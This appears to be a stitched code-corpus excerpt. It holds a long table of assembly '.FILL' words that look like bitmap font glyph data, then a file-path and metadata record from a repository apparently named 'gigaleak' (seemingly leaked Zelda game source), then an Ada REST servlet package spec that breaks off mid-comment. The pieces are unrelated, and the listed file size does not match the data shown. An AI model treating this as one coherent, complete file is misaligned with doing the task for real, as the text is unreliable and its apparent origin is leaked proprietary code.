.FILL x6000
.FILL x3000
.FILL x1800
.FILL x0000
.FILL x7C00
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xC600
.FILL x7C00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x3000
.FILL x7800
.FILL xCC00
.FILL x0000
.FILL xCC00
.FILL xCC00
.FILL xCC00
.FILL xCC00
.FILL xCC00
.FILL xCC00
.FILL x7600
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x6000
.FILL x3000
.FILL x1800
.FILL x0000
.FILL xCC00
.FILL xCC00
.FILL xCC00
.FILL xCC00
.FILL xCC00
.FILL xCC00
.FILL x7600
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xC600
.FILL x0000
.FILL x0000
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xC600
.FILL x7E00
.FILL x0600
.FILL x0C00
.FILL x7800
.FILL x0000
.FILL x0000
.FILL xC600
.FILL x0000
.FILL x7C00
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xC600
.FILL x7C00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xC600
.FILL x0000
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xC600
.FILL x7C00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x1800
.FILL x1800
.FILL x3C00
.FILL x6600
.FILL x6000
.FILL x6000
.FILL x6000
.FILL x6600
.FILL x3C00
.FILL x1800
.FILL x1800
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x3800
.FILL x6C00
.FILL x6400
.FILL x6000
.FILL xF000
.FILL x6000
.FILL x6000
.FILL x6000
.FILL x6000
.FILL xE600
.FILL xFC00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x6600
.FILL x6600
.FILL x3C00
.FILL x1800
.FILL x7E00
.FILL x1800
.FILL x7E00
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xF800
.FILL xCC00
.FILL xCC00
.FILL xF800
.FILL xC400
.FILL xCC00
.FILL xDE00
.FILL xCC00
.FILL xCC00
.FILL xCC00
.FILL xC600
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0E00
.FILL x1B00
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x7E00
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL xD800
.FILL x7000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x1800
.FILL x3000
.FILL x6000
.FILL x0000
.FILL x7800
.FILL x0C00
.FILL x7C00
.FILL xCC00
.FILL xCC00
.FILL xCC00
.FILL x7600
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0C00
.FILL x1800
.FILL x3000
.FILL x0000
.FILL x3800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x3C00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x1800
.FILL x3000
.FILL x6000
.FILL x0000
.FILL x7C00
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xC600
.FILL x7C00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x1800
.FILL x3000
.FILL x6000
.FILL x0000
.FILL xCC00
.FILL xCC00
.FILL xCC00
.FILL xCC00
.FILL xCC00
.FILL xCC00
.FILL x7600
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x7600
.FILL xDC00
.FILL x0000
.FILL xDC00
.FILL x6600
.FILL x6600
.FILL x6600
.FILL x6600
.FILL x6600
.FILL x6600
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x7600
.FILL xDC00
.FILL x0000
.FILL xC600
.FILL xE600
.FILL xF600
.FILL xFE00
.FILL xDE00
.FILL xCE00
.FILL xC600
.FILL xC600
.FILL xC600
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x3C00
.FILL x6C00
.FILL x6C00
.FILL x3E00
.FILL x0000
.FILL x7E00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x3800
.FILL x6C00
.FILL x6C00
.FILL x3800
.FILL x0000
.FILL x7C00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x3000
.FILL x3000
.FILL x0000
.FILL x3000
.FILL x3000
.FILL x6000
.FILL xC000
.FILL xC600
.FILL xC600
.FILL x7C00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xFE00
.FILL xC000
.FILL xC000
.FILL xC000
.FILL xC000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xFE00
.FILL x0600
.FILL x0600
.FILL x0600
.FILL x0600
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xC000
.FILL xC000
.FILL xC200
.FILL xC600
.FILL xCC00
.FILL x1800
.FILL x3000
.FILL x6000
.FILL xDC00
.FILL x8600
.FILL x0C00
.FILL x1800
.FILL x3E00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xC000
.FILL xC000
.FILL xC200
.FILL xC600
.FILL xCC00
.FILL x1800
.FILL x3000
.FILL x6600
.FILL xCE00
.FILL x9E00
.FILL x3E00
.FILL x0600
.FILL x0600
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x1800
.FILL x1800
.FILL x0000
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x3C00
.FILL x3C00
.FILL x3C00
.FILL x1800
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x3600
.FILL x6C00
.FILL xD800
.FILL x6C00
.FILL x3600
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xD800
.FILL x6C00
.FILL x3600
.FILL x6C00
.FILL xD800
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x1100
.FILL x4400
.FILL x1100
.FILL x4400
.FILL x1100
.FILL x4400
.FILL x1100
.FILL x4400
.FILL x1100
.FILL x4400
.FILL x1100
.FILL x4400
.FILL x1100
.FILL x4400
.FILL x1100
.FILL x4400
.FILL x5500
.FILL xAA00
.FILL x5500
.FILL xAA00
.FILL x5500
.FILL xAA00
.FILL x5500
.FILL xAA00
.FILL x5500
.FILL xAA00
.FILL x5500
.FILL xAA00
.FILL x5500
.FILL xAA00
.FILL x5500
.FILL xAA00
.FILL xDD00
.FILL x7700
.FILL xDD00
.FILL x7700
.FILL xDD00
.FILL x7700
.FILL xDD00
.FILL x7700
.FILL xDD00
.FILL x7700
.FILL xDD00
.FILL x7700
.FILL xDD00
.FILL x7700
.FILL xDD00
.FILL x7700
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL xF800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL xF800
.FILL x1800
.FILL xF800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL xF600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xFE00
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xF800
.FILL x1800
.FILL xF800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL xF600
.FILL x0600
.FILL xF600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xFE00
.FILL x0600
.FILL xF600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL xF600
.FILL x0600
.FILL xFE00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL xFE00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL xF800
.FILL x1800
.FILL xF800
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xF800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1F00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL xFF00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xFF00
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1F00
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xFF00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL xFF00
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1F00
.FILL x1800
.FILL x1F00
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3700
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3700
.FILL x3000
.FILL x3F00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x3F00
.FILL x3000
.FILL x3700
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL xF700
.FILL x0000
.FILL xFF00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xFF00
.FILL x0000
.FILL xF700
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3700
.FILL x3000
.FILL x3700
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xFF00
.FILL x0000
.FILL xFF00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL xF700
.FILL x0000
.FILL xF700
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL xFF00
.FILL x0000
.FILL xFF00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL xFF00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xFF00
.FILL x0000
.FILL xFF00
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xFF00
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3F00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1F00
.FILL x1800
.FILL x1F00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x1F00
.FILL x1800
.FILL x1F00
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x3F00
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL xFF00
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x3600
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL xFF00
.FILL x1800
.FILL xFF00
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL xF800
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x1F00
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL xFF00
.FILL xFF00
.FILL xFF00
.FILL xFF00
.FILL xFF00
.FILL xFF00
.FILL xFF00
.FILL xFF00
.FILL xFF00
.FILL xFF00
.FILL xFF00
.FILL xFF00
.FILL xFF00
.FILL xFF00
.FILL xFF00
.FILL xFF00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xFF00
.FILL xFF00
.FILL xFF00
.FILL xFF00
.FILL xFF00
.FILL xFF00
.FILL xFF00
.FILL xFF00
.FILL xFF00
.FILL xF000
.FILL xF000
.FILL xF000
.FILL xF000
.FILL xF000
.FILL xF000
.FILL xF000
.FILL xF000
.FILL xF000
.FILL xF000
.FILL xF000
.FILL xF000
.FILL xF000
.FILL xF000
.FILL xF000
.FILL xF000
.FILL x0F00
.FILL x0F00
.FILL x0F00
.FILL x0F00
.FILL x0F00
.FILL x0F00
.FILL x0F00
.FILL x0F00
.FILL x0F00
.FILL x0F00
.FILL x0F00
.FILL x0F00
.FILL x0F00
.FILL x0F00
.FILL x0F00
.FILL x0F00
.FILL xFF00
.FILL xFF00
.FILL xFF00
.FILL xFF00
.FILL xFF00
.FILL xFF00
.FILL xFF00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x7600
.FILL xDC00
.FILL xD800
.FILL xD800
.FILL xD800
.FILL xDC00
.FILL x7600
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x7800
.FILL xCC00
.FILL xCC00
.FILL xCC00
.FILL xD800
.FILL xCC00
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xCC00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xFE00
.FILL xC600
.FILL xC600
.FILL xC000
.FILL xC000
.FILL xC000
.FILL xC000
.FILL xC000
.FILL xC000
.FILL xC000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xFE00
.FILL x6C00
.FILL x6C00
.FILL x6C00
.FILL x6C00
.FILL x6C00
.FILL x6C00
.FILL x6C00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xFE00
.FILL xC600
.FILL x6000
.FILL x3000
.FILL x1800
.FILL x3000
.FILL x6000
.FILL xC600
.FILL xFE00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x7E00
.FILL xD800
.FILL xD800
.FILL xD800
.FILL xD800
.FILL xD800
.FILL x7000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x6600
.FILL x6600
.FILL x6600
.FILL x6600
.FILL x6600
.FILL x7C00
.FILL x6000
.FILL x6000
.FILL xC000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x7600
.FILL xDC00
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x7E00
.FILL x1800
.FILL x3C00
.FILL x6600
.FILL x6600
.FILL x6600
.FILL x3C00
.FILL x1800
.FILL x7E00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x3800
.FILL x6C00
.FILL xC600
.FILL xC600
.FILL xFE00
.FILL xC600
.FILL xC600
.FILL x6C00
.FILL x3800
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x3800
.FILL x6C00
.FILL xC600
.FILL xC600
.FILL xC600
.FILL x6C00
.FILL x6C00
.FILL x6C00
.FILL x6C00
.FILL xEE00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x1E00
.FILL x3000
.FILL x1800
.FILL x0C00
.FILL x3E00
.FILL x6600
.FILL x6600
.FILL x6600
.FILL x6600
.FILL x3C00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x7E00
.FILL xDB00
.FILL xDB00
.FILL xDB00
.FILL x7E00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0300
.FILL x0600
.FILL x7E00
.FILL xDB00
.FILL xDB00
.FILL xF300
.FILL x7E00
.FILL x6000
.FILL xC000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x1C00
.FILL x3000
.FILL x6000
.FILL x6000
.FILL x7C00
.FILL x6000
.FILL x6000
.FILL x6000
.FILL x3000
.FILL x1C00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x7C00
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xC600
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xFE00
.FILL x0000
.FILL x0000
.FILL xFE00
.FILL x0000
.FILL x0000
.FILL xFE00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x1800
.FILL x1800
.FILL x7E00
.FILL x1800
.FILL x1800
.FILL x0000
.FILL x0000
.FILL xFF00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x3000
.FILL x1800
.FILL x0C00
.FILL x0600
.FILL x0C00
.FILL x1800
.FILL x3000
.FILL x0000
.FILL x7E00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0C00
.FILL x1800
.FILL x3000
.FILL x6000
.FILL x3000
.FILL x1800
.FILL x0C00
.FILL x0000
.FILL x7E00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0E00
.FILL x1B00
.FILL x1B00
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL xD800
.FILL xD800
.FILL xD800
.FILL x7000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x1800
.FILL x1800
.FILL x0000
.FILL x7E00
.FILL x0000
.FILL x1800
.FILL x1800
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x7600
.FILL xDC00
.FILL x0000
.FILL x7600
.FILL xDC00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x3800
.FILL x6C00
.FILL x6C00
.FILL x3800
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x1800
.FILL x1800
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x1800
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0F00
.FILL x0C00
.FILL x0C00
.FILL x0C00
.FILL x0C00
.FILL x0C00
.FILL xEC00
.FILL x6C00
.FILL x6C00
.FILL x3C00
.FILL x1C00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xD800
.FILL x6C00
.FILL x6C00
.FILL x6C00
.FILL x6C00
.FILL x6C00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x7000
.FILL xD800
.FILL x3000
.FILL x6000
.FILL xC800
.FILL xF800
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x7C00
.FILL x7C00
.FILL x7C00
.FILL x7C00
.FILL x7C00
.FILL x7C00
.FILL x7C00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.END
|
other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/NES_Ver2/us_asm/zel_int0.asm
|
prismotizm/gigaleak
| 0
|
1861
|
Name: zel_int0.asm
Type: file
Size: 4887
Last-Modified: '2016-05-13T04:27:09Z'
SHA-1: 958ADDD6F2C52ACDFB91C5D11F90285E7C22238A
Description: null
|
src/servlet-rest-definition.ads
|
My-Colaborations/ada-servlet
| 6
|
1095
|
-----------------------------------------------------------------------
-- servlet-rest-definition -- REST API Definition
-- Copyright (C) 2016 <NAME>
-- Written by <NAME> (<EMAIL>)
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
generic
type Object_Type is limited private;
URI : String;
package Servlet.Rest.Definition is
type Descriptor is new Servlet.Rest.Descriptor with record
Handler : access procedure (Object : in out Object_Type;
Req : in out Servlet.Rest.Request'Class;
Reply : in out Servlet.Rest.Response'Class;
Stream : in out Servlet.Rest.Output_Stream'Class);
end record;
overriding
procedure Dispatch (Handler : in Descriptor;
Req : in out Servlet.Rest.Request'Class;
Reply : in out Servlet.Rest.Response'Class;
Stream : in out Servlet.Rest.Output_Stream'Class);
-- Definition of an API operation mapped to a given URI pattern and associated with
-- the operation handler.
generic
Handler : access procedure (Object : in out Object_Type;
Req : in out Servlet.Rest.Request'Class;
Reply : in out Servlet.Rest.Response'Class;
Stream : in out Servlet.Rest.Output_Stream'Class);
Method : Method_Type := Servlet.Rest.GET;
Pattern : String;
Permission : Security.Permissions.Permission_Index := Security.Permissions.NONE;
package Definition is
Instance : aliased Descriptor;
end Definition;
-- Register the list of APIs that have been created by instantiating the <tt>Definition</tt>
